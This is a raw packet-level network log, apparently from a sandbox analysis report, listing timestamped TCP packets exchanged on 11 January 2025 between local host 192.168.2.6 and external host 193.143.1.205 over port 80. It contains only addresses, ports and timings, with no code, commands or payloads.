Jan 11, 2025 02:23:54.149982929 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.149996042 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.150052071 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.150059938 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.150074005 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.150095940 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.150110960 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.150121927 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.150154114 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.171379089 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182427883 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182451010 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182461977 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182475090 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182497025 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182512045 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182524920 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182531118 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182585955 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182671070 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182681084 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182694912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182707071 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182708025 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182719946 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182734013 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182773113 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182902098 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182912111 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182929039 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182943106 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182950974 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.182955980 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.182987928 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.183015108 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.183024883 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.183047056 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.214584112 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214631081 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.214638948 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214654922 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214699030 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.214870930 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214895964 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214909077 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214950085 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.214987040 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.214999914 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215013981 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215023041 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215070963 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215087891 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215104103 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215136051 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215137959 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215148926 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215163946 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215184927 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215229988 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215266943 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215277910 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215301991 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215320110 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215337992 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215425968 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215440035 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215451956 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215462923 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215491056 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215502024 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215514898 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215528011 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215545893 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215677023 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215713024 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215738058 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215749979 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215764046 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215785980 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215924025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215934992 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215948105 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215960026 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.215962887 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.215991020 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216022968 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216034889 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216048002 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216058969 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216062069 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216082096 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216156960 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216170073 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216182947 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216188908 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216197014 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216211081 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216224909 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216228008 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216243029 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216598034 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216610909 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216624022 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216638088 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216639042 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216651917 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216662884 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216680050 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216706038 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216727018 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216738939 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216763973 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216933966 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216947079 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216960907 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216969967 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.216975927 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.216995001 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217030048 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217042923 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217056036 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217067003 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217070103 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217087030 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217252970 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217264891 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217277050 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217289925 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217297077 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217302084 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217314005 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217315912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217329979 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217343092 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217348099 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217363119 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217680931 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217701912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217715025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217720985 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217749119 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.217875957 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217888117 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217895031 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217900991 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.217953920 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218053102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218065977 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218077898 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218091011 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218102932 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218112946 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218115091 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218130112 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218138933 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218154907 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218158007 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218210936 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218228102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218240976 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218254089 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218266964 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.218280077 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218296051 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.218636036 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.219440937 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.236876011 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.236905098 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.236920118 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.236937046 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.236973047 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.237015963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.237027884 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.237035990 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.237047911 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.237082958 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.241559982 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241573095 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241586924 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241610050 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.241693974 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241705894 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241719961 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241728067 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.241734028 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.241770029 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.273983002 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274027109 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274034977 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274049044 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274089098 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274173021 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274185896 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274200916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274214983 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274218082 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274260998 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274300098 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274312973 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274332047 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274344921 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274357080 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274386883 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274482965 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274494886 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274502039 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274512053 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.274543047 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.274576902 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306241035 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306256056 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306267023 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306314945 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306385040 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306399107 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306412935 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306423903 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306435108 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306448936 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306459904 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306468010 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306479931 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306497097 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306509972 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306524038 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306550980 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306571007 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306612968 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306684017 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306705952 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306720018 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306729078 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306759119 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306854010 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306868076 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306879997 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306890965 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.306900978 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.306935072 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307030916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307084084 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307097912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307109118 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307126999 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307154894 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307162046 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307194948 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307208061 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307225943 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307332039 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307343960 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307356119 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307362080 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307369947 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307419062 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307507038 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307558060 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307579041 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307595015 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307638884 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307686090 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307699919 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307712078 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307718992 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307799101 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307835102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307847023 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307862997 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307874918 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307887077 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.307885885 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.307914972 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308084965 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308129072 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308134079 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308147907 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308191061 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308237076 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308249950 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308263063 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308276892 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308286905 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308322906 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308465004 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308476925 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308489084 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308501959 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308515072 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308516026 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308547020 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308725119 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308737993 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308758974 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308769941 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308772087 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308785915 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308794022 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308809042 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308821917 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.308825016 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.308862925 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309109926 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309133053 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309145927 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309173107 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309279919 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309293985 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309304953 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309334040 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309348106 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309357882 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309370041 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309382915 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309395075 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309402943 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309408903 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309432030 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309611082 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309623957 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309636116 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309648991 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309655905 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309660912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309673071 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309674025 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309686899 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309700966 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.309715986 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.309740067 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.311335087 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.311348915 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.311362028 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.311399937 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.311417103 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.337601900 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.337615967 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.337627888 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.337671041 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.338398933 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.338419914 CET	80	49741	193.143.1.205	192.168.2.6
